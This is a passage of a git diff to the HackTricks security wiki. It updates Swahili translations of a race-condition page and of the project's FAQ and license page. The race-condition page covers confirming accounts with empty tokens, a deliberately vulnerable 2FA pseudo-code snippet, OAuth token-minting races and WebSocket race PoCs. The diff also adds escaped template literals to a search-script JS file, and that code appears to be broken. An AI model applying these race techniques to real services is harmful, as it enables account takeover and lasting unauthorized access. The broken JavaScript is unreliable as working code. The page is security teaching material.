user, **username** na **password** zinaweza **kuandikwa** kisha **token** ya kuthibitisha akaunti mpya imeandikwa. Hii inamaanisha kwa muda mfupi **token ya kuthibitisha akaunti iko null**. -Kwa hivyo **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) ili kuthibitisha akaunti mara moja inaweza kuruhusu c**onfirm an account** ambapo wewe huna udhibiti wa email. +Hivyo, kujisajili akaunti na kutuma requests kadhaa zenye token tupu (`token=` au `token[]=` au utofauti mwingine wowote) kuthibitisha akaunti mara moja kunaweza kuruhusu kuthibitisha akaunti ambapo huna udhibiti wa barua pepe. -**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.** +Angalia hii [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) ili kujaribu hii. ### Bypass 2FA -The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created: +Pseudo-code ifuatayo iko wazi kwa race condition kwa sababu kwa muda mfupi sana **2FA haisitishwa** wakati session inaundwa: ```python session['userid'] = user.userid if user.mfa_enabled: @@ -355,23 +363,23 @@ session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` -### OAuth2 uthabiti wa kudumu +### Udumu wa kudumu wa OAuth2 -Kuna several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Huduma hizi zinakuwezesha kuunda application na authenticate watumiaji ambao provider amejiandikisha. Ili kufanya hivyo, **client** itahitaji **permit your application** kupata baadhi ya data zao ndani ya **OAUth provider**.\ -Hivyo, hadi hapa ni login ya kawaida na google/linkedin/github... ambapo utaonyeshwa ukurasa unaosema: "_Application \ wants to access you information, do you want to allow it?_" +There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Huduma hizi zitakuwezesha kuunda application na kuthibitisha watumiaji ambao provider amewasajili. Ili kufanya hivyo, **client** itahitaji **kuruhusu application yako** kufikia baadhi ya data zao ndani ya **OAUth provider**.\ +Hadi hapa ni login ya kawaida na google/linkedin/github... ambapo utaonyeshwa ukurasa ukiwaambia: "_Application \ wants to access you information, do you want to allow it?_" -#### Race Condition in `authorization_code` +#### Race Condition katika `authorization_code` -Tatizo linaonekana unapokubali na mara moja kutumwa `authorization_code` kwa application hasidi. Kisha, application hii inatumia Race Condition katika OAUth service provider ili kuzalisha zaidi ya AT/RT moja (_Authentication Token/Refresh Token_) kutoka kwa `authorization_code` kwa akaunti yako. Kwa msingi, itafanya matumizi ya kwamba umemruhusu application kufikia data yako ili **kuunda akaunti nyingi**. Kisha, ukisitekuruhusu application kutekeleza upatikanaji wa data yako jozi moja ya AT/RT itaondolewa, lakini zingine zitaendelea kuwa halali. +The **problem** inaonekana unapo **ikubali** na inatuma moja kwa moja **`authorization_code`** kwa application mbaya. Kisha, application hii inatumia Race Condition katika OAUth service provider kutiwa nguvu kuunda zaidi ya AT/RT moja (Authentication Token/Refresh Token) kutoka kwa **`authorization_code`** ya akaunti yako. Kwa msingi, itatumia ukweli kwamba umemuomba application kufikia data zako ili **kuunda akaunti nyingi**. Kisha, ikiwa utaacha kuruhusu application kufikia data zako, jozi moja ya AT/RT itafutwa, lakini zingine zitasalia kuwa halali. -#### Race Condition in `Refresh Token` +#### Race Condition katika `Refresh Token` -Mara tu unapopata RT halali unaweza kujaribu kuitumia vibaya (abuse) kuzalisha AT/RT kadhaa; na hata mtumiaji atakapofuta ruhusa za application hasidi kufikia data yake, RT kadhaa zitaendelea kuwa halali. +Mara utakapo **kupata RT halali** unaweza kujaribu **kuitumia vibaya ili kuunda AT/RT nyingi** na **hata kama mtumiaji ataghairi ruhusa** kwa application mbaya kufikia data yake, **RT nyingi zitasalia kuwa halali.** -## **RC in WebSockets** +## **RC katika WebSockets** -- Katika [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) utaona PoC kwa Java ya kutuma ujumbe za websocket kwa **parallel** ili kutumia Race Conditions pia kwenye Web Sockets. -- Kwa Burp’s WebSocket Turbo Intruder unaweza kutumia engine ya **THREADED** kuanzisha muunganisho nyingi za WS na kutuma payloads kwa parallel. Anza na mfano rasmi na tunza `config()` (thread count) kwa concurrency; mara nyingi hii ni ya kuaminika zaidi kuliko batching kwenye muunganisho mmoja wakati wa kupigana (racing) hali ya server‑side kupitia WS handlers. Tazama [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). +- Katika [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) utapata PoC ya Java ya kutuma ujumbe za websocket kwa wakati mmoja ili kuutumia vibaya Race Conditions pia katika Web Sockets. +- Kwa WebSocket Turbo Intruder ya Burp unaweza kutumia engine ya **THREADED** kuanzisha connections nyingi za WS na kutuma payloads kwa wakati mmoja. Anza na mfano rasmi na panga `config()` (idadi ya thread) kwa concurrency; mara nyingi hii ni ya kuaminika zaidi kuliko kumpakua kwenye connection moja wakati ukipigana na server‑side state kupitia WS handlers. Angalia [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). ## Marejeo diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 133c8d55b..e1fbdf2fd 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,39 +1,39 @@ -# HackTricks Maadili & Maswali Yanayoulizwa Mara kwa Mara +# HackTricks Values & FAQ {{#include ../banners/hacktricks-training.md}} ## HackTricks Values > [!TIP] -> Hizi ni **maadili ya Mradi wa HackTricks**: +> Haya ni maadili ya **HackTricks Project**: > -> - Toa **FREE** access kwa **EDUCATIONAL hacking** resources kwa **INTANETI YOTE**. -> - Hacking ni kuhusu kujifunza, na kujifunza kunapaswa kuwa bure iwezekanavyo. -> - Madhumuni ya kitabu hiki ni kutumika kama **rasilimali ya EDUCATIONAL** kamili. -> - **STORE** techniques za ajabu za hacking ambazo jamii inachapisha ikimpa **ORIGINAL** **AUTHORS** sifa wote (**CREDITS**). -> - **Hatutaki sifa za watu wengine**, tunataka tu kuhifadhi tricks nzuri kwa wote. -> - Pia tunaandika **tafiti zetu** ndani ya HackTricks. -> - Katika matukio kadhaa tutakuwa tukielezea **katika HackTricks muhtasari wa sehemu muhimu** za mbinu na tutamshauri msomaji kutembelea post ya asili kwa maelezo zaidi. -> - **ORGANIZE** techniques zote za hacking kwenye kitabu ili ziwe **RAHISI KUPATA** -> - Timu ya HackTricks imewekeza maelfu ya saa bure **tu kwa kupanga yaliyomo** ili watu waweze **kujifunza haraka zaidi** +> - Toa ufikiaji **BURE** kwa rasilimali za **ELIMU** za hacking kwa **WATU WOTE** wa mtandao. +> - Hacking inahusu kujifunza, na kujifunza kunapaswa kuwa bure kadri inavyowezekana. +> - Madhumuni ya kitabu hiki ni kutumika kama rasilimali kamili ya **elimu**. +> - **Hifadhi** mbinu za **hacking** za kuvutia ambazo jamii inazochapisha, ukimpa **WAANDISHI WA ASILI** sifa zote. +> - **Hatutaki sifa za watu wengine**, tunataka tu kuhifadhi mbinu nzuri kwa kila mtu. +> - Pia tunaandika **tafiti zetu wenyewe** katika HackTricks. +> - Katika matukio kadhaa tutatoa tu **muhtasari wa sehemu muhimu** za mbinu ndani ya HackTricks na tutamshawishi msomaji atembelee chapisho la asili kwa maelezo zaidi. +> - **PANGA** mbinu zote za hacking katika kitabu ili ziwe **RAHISI KUPATIKANA** +> - Timu ya HackTricks imejitolea maelfu ya saa bila malipo **kwa ajili ya kupanga yaliyomo tu** ili watu wajifunze kwa haraka zaidi
-## HackTricks Maswali ya Mara kwa Mara +## Maswali ya HackTricks > [!TIP] > > - **Asante sana kwa rasilimali hizi, ninawezaje kuwashukuru?** -Unaweza kumshukuru hadharani timu za HackTricks kwa kuandaa rasilimali hizi zote kwa kuchapisha tweet ukimtaja [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ -Kama umefurahia hasa unaweza pia [**kuunga mkono mradi hapa**](https://github.com/sponsors/carlospolop).\ +Unaweza kumshukuru hadharani timu za HackTricks kwa kuandaa rasilimali hizi zote kwa tweet inayotaja [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ +If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\ Na usisahau **kutoa nyota kwenye miradi ya Github!** (Tafuta viungo hapa chini). > [!TIP] > -> - **Ninawezaje kuchangia mradi?** +> - **Je, ninawezaje kuchangia mradi?** -Unaweza **kushiriki tips na tricks mpya na jamii au kurekebisha bugs** unazopata kwenye vitabu kwa kutuma **Pull Request** kwenye kurasa husika za Github: +Unaweza **kushiriki vidokezo vipya na triki na jamii au kurekebisha bugs** unazopata katika vitabu kwa kutuma **Pull Request** kwa kurasa husika za Github: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) @@ -42,16 +42,16 @@ Usisahau **kutoa nyota kwenye miradi ya Github!** > [!TIP] > -> - **Je, naweza kunakili sehemu ya yaliyomo kutoka HackTricks na kuviweka kwenye blogu yangu?** +> - **Je, ninaweza kunakili baadhi ya yaliyomo kutoka HackTricks na kuviweka kwenye blogu yangu?** -Ndiyo, unaweza, lakini **usisahau kutaja link(s) maalumu** ambapo yaliyomo yalichukuliwa. +Ndiyo, unaweza, lakini **usisahau kutaja viungo maalum** ambako yaliyomo yalichukuliwa. > [!TIP] > -> - **Ninawezaje kunukuu ukurasa wa HackTricks?** +> - **Je, ninawezaje kunukuu ukurasa wa HackTricks?** -Iwapo link ya ukurasa(uke) uliochukua taarifa inatokea inatosha.\ -Kama unahitaji bibtex unaweza kutumia kitu kama: +Mradi tu kiungo cha ukurasa/kurasa ulizochukua taarifa kinaonekana, hiyo inatosha.\ +Ikiwa unahitaji bibtex unaweza kutumia kitu kama: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **Je, ninaweza kunakili HackTricks yote kwenye blogu yangu?** +> - **Je, naweza kunakili HackTricks yote kwenye blogi yangu?** -**Ningependelea si**. Hiyo **haitakuwa na faida kwa yeyote** kwani **maudhui yote tayari yanapatikana hadharani** katika vitabu rasmi vya HackTricks kwa bure. +**Ningependelea nisifanye hivyo**. Hilo **hataleta faida kwa mtu yeyote** kwa kuwa yaliyomo yote tayari yamepatikana hadharani katika vitabu rasmi vya HackTricks kwa **bure**. -Ikiwa unaogopa yataondoka, chomeka (fork) kwenye Github au upakue; kama nilivyosema tayari ni bure. +Ikiwa unaogopa itafifia, itumie fork kwenye Github au pakua tu, kama nilivyosema tayari ni bure. > [!WARNING] > -> - **Kwa nini mna wadhamini? Je, vitabu vya HackTricks vinalenga madhumuni ya kibiashara?** +> - **Kwa nini mna wafadhili? Je, vitabu vya HackTricks vimetengenezwa kwa madhumuni ya kibiashara?** -Thamani ya kwanza ya **HackTricks** ni kutoa rasilimali za elimu ya hacking **BURE** kwa **WOTE** duniani. Timu ya HackTricks imeweka **maelfu ya saa** kutoa maudhui haya, tena, kwa **BURE**. +Thamani ya kwanza ya **HackTricks** ni kutoa rasilimali za kielimu za hacking **BURE** kwa **WOTE** duniani. Timu ya HackTricks imeweka **maelfu ya masaa** kutoa yaliyomo haya, tena, kwa **BURE**. -Ikiwa unafikiri vitabu vya HackTricks vimetengenezwa kwa **madhumuni ya kibiashara** wewe ni **UMEKOSA KABISA**. +Ikiwa unaamini vitabu vya HackTricks vimetengenezwa kwa **madhumuni ya kibiashara**, UNAKOSEA KABISA. -Tuna wadhamini kwa sababu, hata kama maudhui yote ni BURE, tunataka **kutoa jamii uwezekano wa kuthamini kazi yetu** ikiwa wanataka. Kwa hivyo, tunawawezesha watu kuchangia HackTricks kupitia [**Github sponsors**](https://github.com/sponsors/carlospolop), na kampuni zinazofaa za usalama wa mtandao kuwadhamini HackTricks na kuwa na **matangazo** katika kitabu, ambapo **matangazo** hayo yamewekwa mahali pao ili yaonekane lakini **hayavurugi mchakato wa kujifunza** ikiwa mtu anazingatia maudhui. +Tuna wafadhili kwa sababu, hata kama yaliyomo yote ni **BURE**, tunataka kutoa jamii fursa ya kuthamini kazi yetu ikiwa wanataka. Kwa hiyo, tunatoa chaguo kwa watu kuchangia HackTricks kupitia [**Github sponsors**](https://github.com/sponsors/carlospolop), na kampuni za **cybersecurity** zinazofaa kudhamini HackTricks na kuweka **matangazo** katika kitabu, huku **matangazo** hayo yakiwa yamewekwa mahali yanayoonekana lakini **hayadhindui mchakato wa kujifunza** ikiwa mtu anazingatia yaliyomo. -Hautapata HackTricks imejazwa na matangazo ya kusumbua kama blogu nyingine zenye maudhui chache zaidi kuliko HackTricks, kwa sababu HackTricks haijatengenezwa kwa madhumuni ya kibiashara. +Hautapata HackTricks imejazwa na matangazo ya kuchosha kama baadhi ya blogi zenye yaliyomo kidogo kuliko HackTricks, kwa sababu HackTricks haikutengenezwa kwa madhumuni ya kibiashara. > [!CAUTION] > -> - **Nifanye nini ikiwa ukurasa wa HackTricks umetegemea chapisho langu la blogu lakini haujatajwa?** +> - **Nifanye nini ikiwa ukurasa wa HackTricks umejengwa kwa msingi wa chapisho langu la blog lakini haujatolewa rejea?** -**Tunasikitika sana. Hii haipaswi kuwa imetokea.** Tafadhali tujulishe kupitia Github issues, Twitter, Discord... kiungo cha ukurasa wa HackTricks wenye maudhui na kiungo cha blogu yako na **tutakagua na kuiongeza KWA HARAKA**. +**Tunasikitika sana. Hii haipaswi kuwa imetokea.** Tafadhali tujulishe kupitia Github issues, Twitter, Discord... kiungo cha ukurasa wa HackTricks unao na yaliyomo na kiungo cha blogi yako na **tutakiangalia na kuiongeza haraka kadri tuwezavyo**. > [!CAUTION] > -> - **Nifanye nini ikiwa kuna maudhui kutoka blogu yangu kwenye HackTricks na sitaki yawepo hapo?** +> - **Nifanye nini ikiwa kuna yaliyomo kutoka blogi yangu kwenye HackTricks na sitaki yakuwa huko?** -Kumbuka kwamba kuwa na viungo vya ukurasa wako katika HackTricks: +Kumbuka kuwa kuwa na viungo kuelekea ukurasa wako katika HackTricks: -- Boresha yako **SEO** -- Maudhui yanatafsiriwa kwa **lugha zaidi ya 15**, hivyo kuwawezesha watu zaidi kupata maudhui haya -- **HackTricks inahimiza** watu **kutembelea ukurasa wako** (watu kadhaa wamenukuu kuwa tangu ukurasa wao uwiwe kwenye HackTricks wamepata ziara nyingi zaidi) +- Inaboresha SEO yako +- Yaliyomo hutafsiriwa kwa zaidi ya lugha 15, hivyo watu zaidi wanaweza kupata yaliyomo haya +- **HackTricks inahimiza** watu **kutembelea ukurasa wako** (watu kadhaa wamesema kwetu kwamba tangu ukurasa wao uwepo kwenye HackTricks wamepata ziara nyingi zaidi) -Hata hivyo, ikiwa bado unataka maudhui ya blogu yako yafutwe kutoka HackTricks tu tujulishe na tutafanya uhakika wa **kufuta kila kiungo kwa blogu yako**, na maudhui yoyote yanayotegemea nayo. +Hata hivyo, ikiwa bado unataka yaliyomo ya blogi yako yaondolewe kutoka HackTricks tujulishe tu na kwa hakika **tutaondoa kila kiungo cha blogi yako**, pamoja na yaliyomo yote yaliyojengwa kwa msingi wake. > [!CAUTION] > -> - **Nifanye nini ikiwa nitapata maudhui yaliyotekelezwa copy-paste katika HackTricks?** +> - **Nifanye nini nikikuta yaliyomo yamekwandikwa nakala (copy-pasted) katika HackTricks?** -Sisi daima tunawapa waandishi wa asili sifa zote. Ikiwa utakutana na ukurasa wenye maudhui yaliyotekelezwa bila chanzo asili kurejelewa, tujulishe na tuteither **tutaitoa**, **tutaongeza kiungo kabla ya maandishi**, au **tutaandika tena tukiweka kiungo**. +Sisi daima tunampa waandishi wa awali sifa zote. Ikiwa utapata ukurasa ulio na yaliyomo yaliyo copy-pasted bila kurejelea chanzo cha awali, tujulishie na tutafanya moja ya yafuatayo: **tutaondoa**, **tutaongeza kiungo kabla ya maandishi**, au **tutaandika upya tukiongeza kiungo**. ## LESENI -Haki miliki © Haki zote zimehifadhiwa isipokuwa pale ambapo vimesemwa vingine. +Hakimiliki © Haki zote zimehifadhiwa isipokuwa ilivyoelezwa vingine. #### Muhtasari wa Leseni: -- Attribution: Una uhuru wa: -- Share — nakili na sambaza tena nyenzo hii kwa njia yoyote au muundo wowote. -- Adapt — rekebisha, badilisha, na tengeneza juu ya nyenzo hii. +- Urejeleo (Attribution): Una uhuru wa: +- Shiriki — nakili na usambaze tena nyenzo kwa njia yoyote au muundo wowote. +- Badilisha — fanya remix, ubadilishe, na ujenge juu ya nyenzo hizi. #### Masharti ya Ziada: -- Third-Party Content: Sehemu kadhaa za blogu/kitabu hiki zinaweza kujumuisha maudhui kutoka vyanzo vingine, kama vijembe kutoka blogu au machapisho mengine. Matumizi ya maudhui hayo hufanywa kwa misingi ya matumizi mwafaka (fair use) au kwa ruhusa wazi kutoka kwa wamiliki wa hakimiliki husika. Tafadhali rejea vyanzo vya asili kwa taarifa maalum za leseni kuhusu maudhui ya wahusika wa tatu. -- Authorship: Maudhui ya asili yaliyoandikwa na HackTricks yamo chini ya masharti ya leseni hii. Unahimizwa kumtaja mwandishi wakati wa kushiriki au kurekebisha kazi hii. +- Yaliyomo ya Watu Wengine: Sehemu baadhi za blogi/kitabu hiki zinaweza kujumuisha yaliyomo kutoka vyanzo vingine, kama vifungu kutoka blogi nyingine au machapisho. Matumizi ya yaliyomo kama hayo hufanywa chini ya kanuni za matumizi ya haki (fair use) au kwa idhini maalum kutoka kwa wamiliki wa hakimiliki husika. Tafadhali rejea vyanzo vya awali kwa taarifa maalum za leseni kuhusu yaliyomo ya watu wengine. +- Uandishi: Yaliyomo ya asili yaliyoandikwa na HackTricks yamo chini ya masharti ya leseni hii. Unahimizwa kumtaja mwandishi wakati wa kushiriki au kubadilisha kazi hii. #### Msamaha: -- Commercial Use: Kwa maswali kuhusu matumizi ya kibiashara ya maudhui haya, tafadhali wasiliana nami. +- Matumizi ya Kibiashara: Kwa maswali kuhusu matumizi ya kibiashara ya yaliyomo haya, tafadhali wasiliana nami. -Leseni hii haikupi haki yoyote ya alama za biashara au haki za ukuzaji chapa kuhusiana na maudhui. Alama zote za biashara na chapa zilizo kwenye blogu/kitabu hiki ni mali ya wamiliki wake. +Leseni hii haisaidii kupeana haki zozote za alama za biashara au haki za chapa kuhusiana na yaliyomo. Alama zote za biashara na chapa zilizo kwenye blogi/kitabu hiki ni mali ya wamiliki wake husika. -**Kwa kufikia au kutumia HackTricks, unakubali kufuata masharti ya leseni hii. Ikiwa hukubaliani na masharti haya, tafadhali, usitumie tovuti hii.** +**Kwa kuingia au kutumia HackTricks, unakubali kuzingatia masharti ya leseni hii. Ikiwa hukubaliani na masharti haya, tafadhali, usitumie tovuti hii.** -## **Tamko (Disclaimer)** +## **Tamko la kutowajibika** > [!CAUTION] -> Kitabu hiki, 'HackTricks,' kimekusudiwa kwa madhumuni ya elimu na taarifa pekee. Maudhui ndani ya kitabu hiki yanatolewa kwa msingi wa 'kama yalivyo', na waandishi na wachapishaji hawatoi taarifa wala dhamana za aina yoyote, za wazi au za fumbo, kuhusu ukamilifu, usahihi, uaminifu, ufanisi, au upatikana kwa taarifa, bidhaa, huduma, au grafiki zinazohusiana zilizo ndani ya kitabu hiki. Kila utegemezi utakaoweka kwenye taarifa hizo ni kwa hatari yako mwenyewe. -> -> Waandishi na wachapishaji hawatakuwa na wajibu wala hawatalipwa kwa hasara au uharibifu wowote, ikijumuisha bila kikomo, hasara au uharibifu usio wa moja kwa moja au wa matokeo, au hasara au uharibifu wowote utakaotokana na kupoteza data au faida zinazotokana na, au kuhusiana na, matumizi ya kitabu hiki. -> -> Zaidi ya hayo, mbinu na vidokezo vilivyoelezewa katika kitabu hiki vimetolewa kwa madhumuni ya elimu na taarifa pekee, na havipaswi kutumika kwa shughuli zozote zisizofaa kisheria au zenye nia mbaya. Waandishi na wachapishaji hawana msimamo wa kuunga mkono au kusapoti shughuli zozote zisizo za kisheria au zisizo za maadili, na matumizi yoyote ya taarifa zilizo ndani ya kitabu hiki ni kwa hatari na hiari ya mtumiaji. -> -> Mtumiaji ndiye mwenye jukumu kamili kwa vitendo vyovyote vitakavyofanywa kwa msingi wa taarifa zilizo ndani ya kitabu hiki, na kila mara awe akitafuta ushauri na msaada wa kitaalamu anapojaribu kutekeleza mbinu au vidokezo vilivyoelezwa hapa. -> -> Kwa kutumia kitabu hiki, mtumiaji anakubali kuwarejesha waandishi na wachapishaji huru kutokana na dhamana na jukumu lolote kwa uharibifu, hasara, au madhara ambayo yanaweza kuletwa na matumizi ya kitabu hiki au yoyote ya taarifa zilizo ndani yake. +> Kitabu hiki, 'HackTricks,' kimekusudiwa kwa madhumuni ya kielimu na taarifa tu. Yaliyomo ndani ya kitabu hiki yanatolewa kwa msingi wa 'kama yalivyo', na waandishi na wachapishaji hawatolei uwakilishi au dhamana za aina yoyote, wazi au zilizofichwa, kuhusu ukamilifu, usahihi, uaminifu, unafaa, au upatikanaji wa taarifa, bidhaa, huduma, au picha zinazohusiana zilizo ndani ya kitabu hiki. Utegemezi wowote utakaoiweka kwenye taarifa hizo ni kwa hatari yako mwenyewe. +> +> Waandishi na wachapishaji hawatakuwajibishwa katika hali yoyote kwa hasara au uharibifu wowote, ikiwemo bila ukomo, hasara isiyo ya moja kwa moja au ya matokeo, au hasara au uharibifu wowote unaotokana na kupoteza data au faida kutokana na, au kuhusiana na, matumizi ya kitabu hiki. +> +> Zaidi ya hayo, mbinu na vidokezo vinavyoelezwa katika kitabu hiki vinatolewa kwa madhumuni ya elimu na taarifa tu, na havipaswi kutumika kwa shughuli za kinyume cha sheria au za uharifu. Waandishi na wachapishaji hawakubali wala kuunga mkono shughuli zozote za kinyume cha sheria au zisizo za kimaadili, na matumizi yoyote ya taarifa zilizopo ndani ya kitabu hiki ni kwa hatari na maamuzi ya mtumiaji. +> +> Mtumiaji ndiye mwenye jukumu kwa vitendo vyovyote vinavyofanywa kulingana na taarifa zilizopo ndani ya kitabu hiki, na anapaswa daima kutafuta ushauri na msaada wa kitaalamu anapojaribu kutekeleza yoyote ya mbinu au vidokezo vilivyoelezwa hapa. +> +> Kwa kutumia kitabu hiki, mtumiaji anakubali kuwaruhusu waandishi na wachapishaji wasiwe na wajibu wowote wala uwajibikaji kwa uharibifu, hasara, au madhara yoyote yanayoweza kusababishwa na matumizi ya kitabu hiki au taarifa yoyote iliyomo ndani yake. {{#include ../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 761454181..22e64f5f8 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -491,3 +491,4 @@ handle.addEventListener("touchstart", onStart, { passive: false }); } })(); + diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index 77f10f607..6b105f263 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -68,11 +68,11 @@ const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download'; const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download'; - const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); - const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); + const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master'])); + const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master'])); - const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`); - const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`); + const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`); + const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`); const indices = []; const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main); @@ -208,3 +208,4 @@ listOut.classList.toggle('hidden',!docs.length); }; })(); +